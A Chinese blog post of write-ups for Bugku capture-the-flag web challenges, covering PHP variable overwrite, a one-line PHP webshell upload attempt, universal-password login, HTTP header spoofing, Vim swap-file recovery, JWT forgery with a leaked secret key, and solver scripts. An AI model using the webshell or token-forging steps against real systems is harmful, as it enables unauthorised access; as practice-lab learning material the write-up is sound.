bugku—Web_Writeup

  • 2019 年 10 月 6 日
  • 筆記

Bugku_Web_Writeup

Writeup略顯粗糙~~

部分Web題沒有得到最後的flag~只是有了一個簡單的思路~~

Web1:

img

如上,打開題目答題網址後就會彈出一張圖片,看圖片就可以發現是一段PHP源碼,通過對源碼的解析得出以下:

<?php      header("Content-type:text/html;charset=utr-8");      error_reporting(0);      include 'flag.php';      $b = 'ssAEDsssss';      extract($_GET);      // extract():將數組中的鍵名設置為變量名,鍵值為變量中參數      if (isset($a)) { // isset():檢查變量是否存在          $c = trim(file_get_contents($b));              // file_get_contents():將整個文件讀入一個字符串中              // trim(): 函數可移除字符串兩端的空白字符或其他預定義字符,因為沒有預定要刪的字符,所以會刪除全部字符                  // 處理一個文本文件中的數據讀入進一個字符串中,利用上述兩個函數進行格式處理                  // 結合 $c 變量最後得到的字符串就是一個空內容 ===> $c = ' '          if ($a == $c) { // 在之前isset()判斷是否存在$a變量,從php源碼中沒有發現$a變量;故此在URL中可以構造一個變量a並空值              echo $myFlag ;          } else {              echo "No!";          }      }  ?>

綜合分析:

PHP源碼錶達的flag顯示是在通過 isset($a) 和 $a == $c 判斷後echo顯示myFlag變量(即flag)以及源碼中注釋說明。

我們需要的就是構造一個變量a給php源碼,然而變量c在函數的聯合下,變量C的內容是空的,於是我們構造一個URL並且a變量為空

http://123.206.31.85:10001/?a=

Web2:

該題三秒自動刷新計算題和答案,所以需要在三秒內計算得出並填寫正確的答案獲取flag

如果按照人類的速度是……不可能的,於是只得借用腳本自動化了!

import requests,re  url = 'http://123.206.31.85:10002/'  // Session():模擬登錄操作  s = requests.Session() // 創建一個Session對象:s  def getURL(url):      con = s.get(url) // 發送請求,使用默認得登錄屬性      res = con.text // 獲取頁面text格式轉換得字符串:res      return res  def Calculation(text):      result = eval(((re.findall(".*</p",text))[0])[0:-3]) // 正則篩選公式      return result // 返回計算公式的結果 result  def postRES():      result =  Calculation(getURL(url)) //調用函數返回網頁頁面內容再調用      payload = {'result':result}      r = s.post(url,data=payload) // 模擬提交計算結果給服務端      return r  print (postRES().text) // 返回HTTP結果中的text數據

RUN後就可以得到我們想要的flag了!

*Web3:文件包含

根據提示!得知網站允許我們上傳一張圖片!於是果斷上傳一句話木馬……

<?php eval($_POST[key]);?>

方法一:上傳php文件

結果:失敗!

結論:設置了文件類型審查

方法二:上傳png文件,burp攔包改後綴.php

結果:失敗!

結論:不在客戶端進行,而是利用服務端進行文件類型審查

…………

Web4:萬能登錄

可以看出是類後台登錄的頁面,首先就是萬能密碼走一遍……

然後非常好玩的是……flag就出來了!搞得我還準備用brup爆破弱密碼呢……

*Web5:SQL注入

http://47.95.208.167:10005/

SQLMap注入:參考

Web6:管理員系統

眨眼一看,沒頭緒,我看了別人的Writeup,都說HTML代碼里有base64加密的password,但是原諒我「蠢」,沒有看見base64碼……

我按照「老」思路,扔了幾個字典跑了一下……(我用了六分鐘跑出來了)

哦!對了……記得修改X-Forwarded-For 的value為本地地址^_^從另一個角度可以認為這是一道關於偽造IP的題目!

*Web7:

[發貨系統]

web9:

頁面返回如下一串字符:

put me a message bugku then you can get the flag 

意思就是讓我們通過PUT方式提交「bugku」給服務端

於是我們抓包修改數據包內容:

修改請求方式為:PUT

添加請求的信息實體內容:bugku

點擊:Go ===>

就會響應flag,但是返回的是看不懂的「亂碼」

然而並不是……通過Base64解碼可以得到正確的flag碼


web10*:JWT的危險

頁面顯示登錄框,我們使用burp抓包並Request:

從返回的數據包看出提示,從尾部的三個等於號推斷是Base32編碼,於是我們使用Base32解碼為字符串

從解密的字符串可以認為是登錄名和密碼,我們使用解碼結果登錄:

通過嘗試從這段文字中發現,Vim崩潰並且網站有秘密……

**Vim崩潰時文件會備份緩存,並且以*.swp文件格式存儲;當然了,如果文件正常關閉會自動刪除同名的swp格式文件。**

文字中說了,是在寫這個網站的主頁時崩潰的~

呦西!一下子就看見了~那麼我們就下載保存打開「L3yx.php.swp」文件

swp文件下載後,利用vi -r [file]恢復技術恢復文件

L3yx.php源碼如下:

<html>  <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>  <title>在線日記本</title>  <form action="" method="POST">    <p>username: <input type="text" name="username" /></p>    <p>password: <input type="password" name="password" /></p>    <input type="submit" value="login" />  </form>  <!--hint:NNVTU23LGEZDG===-->  </html>  <?php      error_reporting(0);      require_once 'src/JWT.php';      const KEY = 'L3yx----++++----';      function loginkk()      {          $time = time();          $token = [            'iss'=>'L3yx',            'iat'=>$time,            'exp'=>$time+5,            'account'=>'kk'          ];          $jwt = FirebaseJWTJWT::encode($token,KEY);//JWT認證方式          setcookie("token",$jwt);          header("location:user.php");      }      if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='')      {          if($_POST['username']=='kk' && $_POST['password']=='kk123')          {              loginkk();          }          else          {              echo "賬號或密碼錯誤";          }      }  ?>

在源碼中發現使用了 JWT方法進行認證,且源碼中存在JWT的密鑰"KEY = ‘L3yx—-++++—-"

從數據包中發現token;我們利用解碼工具進行:

JWT-token包含三部分:JWT頭部、JWT負載、JWT簽名

三部分之間使用 點 符號進行分隔

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9  [JWT頭部]  eyJpc3MiOiJMM3l4IiwiaWF0IjoxNTcwMDExNTQ1LCJleHAiOjE1NzAwMTE1NTAsImFjY291bnQiOiJrayJ9  [JWT負載]  aWma416iRo9Y55rdk2LNtkyTulVs98ZrCqj0nBLMzH8  [JWT簽名]

我們分別對三部分的編碼方式進行解碼:

JWT頭部—Base64解碼:

{"typ":"JWT","alg":"HS256"}

JWT負載—Base64解碼:

{"iss":"L3yx","iat":1570011545,"exp":1570011550,"account":"kk"}

*通過頭部的解碼發現JWT簽名使用的是HS256算法

通過對頭部和負載兩部分的base64解碼結果進行HS256加密,可以得出JWT簽名部分編碼:

題意,提示我們使用「L3yx」用戶,於是我們修改JWT負載的用戶名(也需要留意時間戳問題:exp):

{"iss":"L3yx","iat":1570011545,"exp":1570033550,"account":"L3yx"}

然後構造一個JWT-token:https://jwt.io/

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJMM3l4IiwiaWF0IjoxNTcwMDE0MDg0LCJleHAiOjE1NzAwNTU1ODksImFjY291bnQiOiJMM3l4In0.Nvl06ImN7gBuBB4oFwQcgsyzt7zarNhA1vGAXxYksNA

通過Burp—Repeater構造一個發送到user.php的請求

最終獲得正確的flag!


*Web11:

打開頁面,只顯示一行「We han’t anything!」,騙子說這裡啥都沒有~

但是留意以下抓包的源代碼返回結果發現:

網頁的title頁面標題為「robots」,由此想起了「robots.txt」:

根據獲知的結果訪問「shell.php」

<form action="shell.php" method="get">      substr(md5(<input type="text" name="password">), 0, 6) = 05862a<input type="submit">  </for

從源碼和頁面可以初步認為,是需要提交一個數字被md5函數處理後再被substr函數處理的結果與7fdaf4形成相等。

PHP substr()函數:

substr( string , start , length)

返回String字符串中從start開始,length長度的字符串

綜上,就是對MD5進行截斷比較,暴力解決!~


Web13:

詭異的框框,攔包看一看:

感覺太怪了,返回包中有Password字段信息,於是Base64解碼:

…………

然而並不正確,於是將flag放入框中提交查詢:

於是思前想後,有反覆幾次後發現:每一次都是不同的flag,所以我認為是要求在最快的時間內提交當前的flag才可以得到真正的flag~

import requests  import base64  url = 'http://123.206.31.85:10013/index.php'  r = requests.session()  r1 = r.post(url,data={'password':'flag'})  Password = r1.headers['password']  password = str(base64.b64decode(Password),'utf-8')[5:-1]  r2 = r.post(url,data={'password':password})  print(r2.text)

代碼解析:

​ 獲取響應包的password字段,提交到password表單中並提交。


Web14:

提示:「聽說備份了不少東西」

通過簡單的提示,可以確定網站存在源碼泄露的可能

使用GitHack進行探測並嘗試恢復~


Web15:

提示:Vim編輯器

根據頁面和提示可以確定我們要找的flag不在index.php

不過,流程不變,先抓包看一看

果然,一抓包就看見了貓膩~

將hint字段內容進行編碼分析(推測是十六進制)

MRWWY5DGM46T2

只有大寫字母和數字:Base32解碼

dmltfg==

兩個等於號:Base64解碼

Vim~

從最終的結果可以看出,Vim的備份文件符號「~」

結合頁面提示「來錯了地方」,表示頁面沒錯但是位置錯了:

http://123.206.31.85:10015/index.php~

ps原頁面的地址是1ndex.php留下了一個小小的坑哦!

<?php      header('content-type:text/html;charset=utf-8');      include './flag.php';      error_reporting(0);      if(empty($_GET['id'])){          header('location:./1ndex.php');      }else{          $id = $_GET['id'];          if (!is_numeric($id)) { //檢測變量是否為數字或數字字符串              $id = intval($id); //獲取變量的整數值              switch ($id) {                  case $id>=0:                      echo "快出去吧,走錯路了~~~<br>";                      echo "這麼簡單都不會么?";                      break;                  case $id>=10:                      exit($flag);                      break;                  default:                      echo "你走不到這一步的!";                      break;              }          }      }  ?>

分析源碼發現,輸出flag的條件:接收一個值「id」,要求不是數字或數字字符串,但要求大於等於10

源碼的邏輯非常清楚,只要提交的是非數字的字符就可以顯示flag了!

但是~這裡有一個坑 ~~~ 巨坑!!!

在這個頁面,無亂提交的是什麼都是「Error」的~~~

因為它告訴你了~不該來這個頁面~仔細看看URL~~

http://123.206.31.85:10015/1ndex.php

一和i傻傻分不清處:

我們要訪問的必須是:index.php:


流量分析:

數據包文件

打開文件後,追蹤TCP流就可以了~

日誌審計:

log文件

要求從日誌中找出黑客攻擊的痕迹~

一打開文件~數據太龐大了~受不了呀~

疑似SQL注入攻擊的痕迹~

確定存在SQL注入的痕迹~

我們統計每次注入的參數,得到flag~

import re  log = open ('sql_log.txt','r').read()  find = re.findall(r'3D(.*)--',log)  for i in find:      print(chr(int(i)),end="")